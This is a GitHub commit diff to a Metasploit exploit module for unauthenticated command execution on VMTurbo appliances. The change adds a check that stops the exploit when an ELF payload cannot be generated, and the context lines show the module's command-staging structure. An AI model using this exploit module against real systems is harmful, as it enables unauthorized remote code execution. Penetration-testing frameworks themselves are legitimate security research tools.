Skip to content

Commit 9e38ffb

Browse files
committed
Add the check for the manual payload setting
1 parent 5b6be55 commit 9e38ffb

File tree

1 file changed

+13
-0
lines changed

1 file changed

+13
-0
lines changed

modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
1010

1111
include Msf::Exploit::Remote::HttpClient
1212
include Msf::Exploit::CmdStager
13+
include Msf::Exploit::EXE
1314

1415
def initialize(info = {})
1516
super(update_info(info,
@@ -118,6 +119,16 @@ def execute_command(cmd, opts)
118119
vprint_status("Sent command #{cmd}")
119120
end
120121

122+
#
123+
# generate_payload_exe doesn't respect module's platform unless it's Windows, or the user
124+
# manually sets one. This method is a temp work-around.
125+
#
126+
def check_generate_payload_exe
127+
if generate_payload_exe.nil?
128+
fail_with(Failure::BadConfig, "#{peer} - Failed to generate the ELF. Please manually set a payload.")
129+
end
130+
end
131+
121132
def exploit
122133

123134
# Handle single command shot
@@ -133,6 +144,8 @@ def exploit
133144
return
134145
end
135146

147+
check_generate_payload_exe
148+
136149
# Handle payload upload using CmdStager mixin
137150
execute_cmdstager({:flavor => :printf})
138151
end

0 commit comments

Comments
 (0)